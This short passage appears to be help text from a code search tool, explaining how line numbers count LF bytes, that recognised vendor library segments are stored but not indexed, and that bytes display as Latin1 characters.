Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.